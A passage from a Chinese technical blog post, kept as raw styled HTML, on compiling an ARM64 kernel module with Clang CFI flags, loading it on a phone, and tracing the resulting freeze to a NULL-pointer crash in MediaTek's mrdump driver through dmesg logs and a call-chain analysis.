sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI_ICALL 是 Clang 的：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1089" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-fsanitize=cfi</span></code></pre><p data-line="1107" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实现，依赖 LTO，也就是链接时优化，来生成跨编译单元的类型检查。</span></p><p data-line="1109" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">编译命令：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1097" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">clang -flto=thin -fsanitize=cfi -fsanitize-cfi-cross-dso \</span><span leaf=""><br/></span><span leaf="">      -fvisibility=hidden -mbranch-protection=standard \</span><span leaf=""><br/></span><span leaf="">      -c test.c -o test.o</span></code></pre><p data-line="1117" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之后用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clang -r</span></code><span leaf=""> 将 LLVM bitcode 链接为 ELF relocatable 文件。</span></p><p data-line="1119" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键参数如下：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">标志</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-flto=thin</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">启用 ThinLTO，CFI 的前提</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-fsanitize=cfi</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">生成 CFI_ICALL 类型检查</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-fsanitize-cfi-cross-dso</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">跨 DSO 间接调用验证</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-fvisibility=hidden</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">隐藏非导出符号，配合 CFI 缩减检查范围</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-mbranch-protection=standard</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">生成 BTI 与 PAC 兼容指令</span></p></td></tr></tbody></table><p data-line="1129" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样生成的模块内部结构包括：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="1117" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__cfi_check</span></code><span leaf=""> 函数</span><span leaf=""><br/></span><span leaf="">接收 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">(地址, 类型哈希)</span></code><span leaf="">，验证该地址是否属于某个合法间接调用目标。</span></p></li><li><p data-line="1120" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.cfi_jt</span></code><span leaf=""> 跳转表</span><span leaf=""><br/></span><span leaf="">为每个地址可被间接调用的函数生成一个 8 字节 CFI 桩，例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;"><code data-line="1123" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">bti c</span><span leaf=""><br/></span><span leaf="">b   function_name.cfi</span></code></pre></li></ul><p data-line="1142" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此时 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 符号指向这个桩，真正的代码在：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1130" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">init_module.cfi</span></code></pre><p data-line="1148" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这一次，模块加载成功：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1136" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">test_cfi: no symbol version for printk</span><span leaf=""><br/></span><span leaf="">calling  init_module+0x0/0x8 [test_cfi] @ 5515</span><span leaf=""><br/></span><span leaf="">HelloWorld: KPatcher ARM64 module loaded!</span><span leaf=""><br/></span><span leaf="">initcall init_module+0x0/0x8 [test_cfi] returned 0 after 6 usecs</span></code></pre><p data-line="1157" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">注意：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1145" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">init_module+0x0/0x8</span></code></pre><p data-line="1163" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x8</span></code><span leaf=""> 表示 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 的大小是 8 字节，而非实际代码大小。</span></p><p data-line="1165" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这证实了它指向的是跳转表桩。</span></p><p data-line="1167" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然而，胜利的喜悦只持续了几秒钟 —— 手机卡死了。</span></p><p data-line="1169" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 20：mrdump 崩溃 —— 手机卡死的真正根因</span></p><p data-line="1171" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf=""> 命令在内核中阻塞，手机完全无响应：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">屏幕触摸无效</span></p></li><li><p><span leaf="">物理按键无效</span></p></li><li><p><span leaf="">持续数分钟后才恢复</span></p></li></ul><p data-line="1177" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恢复后，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dmesg</span></code><span leaf=""> 里出现了令人意外的崩溃：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1165" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">[  980.921362] initcall init_module+0x0/0x8 [test_cfi] returned 0 after 4 usecs</span><span leaf=""><br/></span><span leaf="">[  980.921373] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008</span><span leaf=""><br/></span><span leaf="">[  980.948712] pc : load_ko_addr_list+0x148/0x294 [mrdump]</span><span leaf=""><br/></span><span leaf="">[  980.949203] mrdump_module_callback+0x24/0x44 [mrdump]</span><span leaf=""><br/></span><span leaf="">[  980.949206] blocking_notifier_call_chain+0x7c/0x100</span><span leaf=""><br/></span><span leaf="">[  980.949210] do_init_module+0x74/0x410</span></code></pre><p data-line="1188" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">崩溃不在我们的代码里，而在一个叫 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mrdump</span></code><span leaf=""> 的驱动中。</span></p><p data-line="1190" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">完整调用链如下。</span></p><p data-line="1192" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">梳理出来的调用链如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1180" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">sys_finit_module()</span><span leaf=""><br/></span><span leaf="">  → load_module()</span><span leaf=""><br/></span><span leaf="">    → do_init_module()</span><span leaf=""><br/></span><span leaf="">      → do_one_initcall(mod-&gt;init)    // ← init_module 成功返回 0 ✓</span><span leaf=""><br/></span><span leaf="">      → mod-&gt;state = MODULE_STATE_LIVE</span><span leaf=""><br/></span><span leaf="">      → blocking_notifier_call_chain(</span><span leaf=""><br/></span><span leaf="">            &amp;module_notify_list,</span><span leaf=""><br/></span><span leaf="">            MODULE_STATE_LIVE,</span><span leaf=""><br/></span><span leaf="">            mod)                       // 通知所有关心模块状态变化的回调</span><span leaf=""><br/></span><span leaf="">        → mrdump_module_callback()     // MediaTek mrdump 驱动的回调</span><span leaf=""><br/></span><span leaf="">          → load_ko_addr_list()        // ← 空指针解引用！崩溃！</span></code></pre><p data-line="1208" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">问题出在 CFI_ICALL 编译所产生的 ELF section 布局上。</span></p><p data-line="1210" dir="auto" style="margin-top: 